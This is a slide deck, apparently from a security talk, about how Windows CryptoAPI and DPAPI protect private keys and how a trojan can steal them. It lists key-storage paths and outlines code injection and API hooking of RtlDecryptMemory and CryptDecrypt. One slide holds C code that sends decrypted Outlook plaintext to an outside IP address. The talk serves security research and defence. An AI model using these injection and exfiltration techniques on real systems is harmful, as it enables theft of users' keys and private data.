340 likes | 448 Views
Catch the key if you can. Aurélien BORDES Éric DETOISIEN. Summary. Introduction What keys ? CryptoAPI / DPAPI Software protection under Windows Code injection and API Hooking Conclusion. Summary. Introduction What keys? CryptoAPI / DPAPI Software protection under Windows
E N D
Catch the key if you can Aurélien BORDESÉric DETOISIEN
Summary • Introduction • What keys ? • CryptoAPI / DPAPI • Software protection under Windows • Code injection and API Hooking • Conclusion
Summary • Introduction • What keys? • CryptoAPI / DPAPI • Software protection under Windows • Code injection and API Hooking • Conclusion
Introduction • More and more PKI (Public Key Infrastructure) deployments • Certificates used in digital signature, crypt/decrypt operations and authentication • Data protection in this game is critical • What is the security behind the use of this technology in Microsoft environment?
Summary • Introduction • What keys? • CryptoAPI / DPAPI • Software protection under Windows • Code injection and API Hooking • Conclusion
What keys ? • RSA is an asymmetric-key cryptosystem • It uses two keys : • a public key used for verification or encryption • a private key used for signing or decryption • The public key must be widely distributed (X509 certificates) • The private key must be kept by the owner as a protected form (software or hardware)
Summary • Introduction • What keys? • CryptoAPI / DPAPI • Software protection under Windows • Code injection and API Hooking • Conclusion
CryptoAPI Provide cryptographic functions • Base cryptographic functions • Context functions • Key exchange functions • Certificate encode/decode functions • Encrypt or decrypt • Hash • Certificate store functions • Simplified message functions • Low-level message functions
CSP • Cryptographic Service Provider • Independent modules • Implement the cryptographic functions • Provide protection for private keys • Microsoft CSP: based on DPAPI • Third-party CSP: based on hardware devices
CSP • Cryptographic Provider Types: • PROV_RSA_FULL • PROV_RSA_AES • PROV_RSA_SCHANNEL • PROV_DH_SCHANNEL
Microsoft CSP • PROV_RSA_FULL • Microsoft Base Cryptographic Provider • Microsoft Enhanced/Strong Cryptographic Provider • PROV_RSA_AES • Microsoft AES Cryptographic Provider • PROV_RSA_SCHANNEL • Microsoft RSA/Schannel Cryptographic Provider • PROV_DH_SCHANNEL • Microsoft DSS and Diffie-Hellman/Schannel Cryptographic Provider
DPAPI • Data Protection Application Programming Interface • Provide OS-level data protection services to user and system • Protection based on encryption (3DES) • Main idea : session keys are never stored but are reconstructed for the encryption or decryption operations
DPAPI • Generation of a strong secret protected by the user’s password (PKCS#5: PBKDF2, 3DES and SHA-1) Stored in the user’s profile: c:\Documents and Settings\<username>\Application Data\Microsoft\Protect\<sid user>\
DPAPI Optional: additional password specified by the user Protected with user credential Master Key « Some random data » Applicationentropy User entropy Session key generated DPAPI Blob GUID Master key « Some random data » Clear Encrypted
CryptProtectData BOOL WINAPI CryptProtectData ( DATA_BLOB *pDataIn, LPCWSTR szDataDescr, DATA_BLOB *pOptionalEntropy, PVOID pvReserved, CRYPTPROTECT_PROMPTSTRUCT *pPromptStruct, DWORD dwFlags, DATA_BLOB *pDataOut) • dwFlags (CRYPTPROTECT_LOCAL_MACHINE) : all local users can unprotect data. Machine keys are protected with this flag
CryptUnprotectData BOOL WINAPI CryptUnprotectData ( DATA_BLOB *pDataIn, LPCWSTR *ppszDataDescr, DATA_BLOB *pOptionalEntropy, PVOID pvReserved, CRYPTPROTECT_PROMPTSTRUCT *pPromptStruct, DWORD dwFlags, DATA_BLOB *pDataOut)
DPAPI Protection level of DPAPI • Low : protection/unprotection operations of data is transparent (flag CRYPTPROTECT_PROMPTSTRUCTno set) • Medium : user confirmation required for protection/unprotection operations • High : additional user entropy required : user must submit password for protection/unprotection operations
Summary • Introduction • What keys? • CryptoAPI / DPAPI • Software protection under Windows • Code injection and API Hooking • Conclusion
Software protection under Windows • Protection of private keys with Microsoft’s CSP is based on DPAPI • Same levels of protection (low, medium, high) • User private keys are protected with DPAPI and stored in the user’s profile: C:\Documents and Settings\<username>\Application Data\Microsoft\Crypto\RSA\<sid user>\ • Machine private keys: • C:\Documents and Settings\All Users\Application Data\Microsoft\Crypto\RSA\MachineKeys\
Software protection under Windows • A trojan can read files (protected private keys) and use DPAPI functions to unprotect the keys • Work only (quiet, no message) if protection level is low (default) • Demo • And with medium/high level protection? Perhaps with old school code injection and API Hooking
Delete the keys • When you remove your certificate, the associated private key is not delete on the disk
Summary • Introduction • What keys? • CryptoAPI / DPAPI • Software protection under Windows • Code injection and API Hooking • Conclusion
Code injection and API Hooking • Code injection in Win32 process • OpenProcess • VirtualAllocEx • WriteProcessMemory • CreateRemoteThread • The trojan code is injected in the target process • Possibility to hook interesting API
Code injection and API Hooking • API Hooking in the target process • Save first API instructions • Patch API with a JMP to our injected code • Call saved instructions and original API • Interesting API to hook • RtlDecryptMemory (SystemFunction041) in Advapi32.dll • CertSerializeCertificateStoreElement
Code injection and API Hooking • RtlDecryptMemory NTSTATUS RtlDecryptMemory( PVOID Memory, ULONG MemoryLength, ULONG OptionFlags); • Memory is a pointer to encrypted data (private key) • If the function is successful the decrypted data (plain text private key) can be read at Memory location
Code injection and API Hooking • CertSerializeCertificateStoreElement BOOL WINAPI CertSerializeCertificateStoreElement( PCCERT_CONTEXT pCertContext, DWORD dwFlags, BYTE* pbElement, DWORD* pcbElement ); • typedef struct _CERT_CONTEXT { DWORD dwCertEncodingType; BYTE* pbCertEncoded; DWORD cbCertEncoded; PCERT_INFO pCertInfo; HCERTSTORE hCertStore; } CERT_CONTEXT,*PCERT_CONTEXT; typedef const CERT_CONTEXT *PCCERT_CONTEXT;
Code injection and API Hooking • pbCertEncoded is a pointer to DER encoded certificate • API Hooking is effective to get X509 Certificate and its private key • Demo
Can’t catch the key, but data… • Sometimes, it is impossible to get the key (hardware exportation not possible) • But it is very easy to get the cleartext • All the decryption operations use the CryptDecrypt function • If you hook this function, you got the plaintext data
CryptDecrypt BOOL WINAPI CryptDecrypt( HCRYPTKEY hKey, HCRYPTHASH hHash, BOOL Final, DWORD dwFlags, BYTE* pbData, DWORD* pdwDataLen ); plaintext after decryption
Hooking Outlook SOCKET s; sockaddr_in sa_in; s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); sa_in.sin_family = AF_INET; sa_in.sin_addr.s_addr =inet_addr("192.168.0.1"); sa_in.sin_port = htons(25); connect(s, (SOCKADDR*) & sa_in, sa_in); send(s, (char *)pbData, (int)*pdwDataLen, 0); closesocket(s); OUTLOOK Decryption: SSL/TLS S/MIME CryptoAPI HOOK CryptDecrypt CSP
Summary • Introduction • What keys? • CryptoAPI / DPAPI • Software protection under Windows • Code injection and API Hooking • Conclusion
Conclusion • Private storage on Windows is not secure • Token and smartcard are better but beware the spyware… • No workstation compromise means no compromise of your keys • The security needs to be everywhere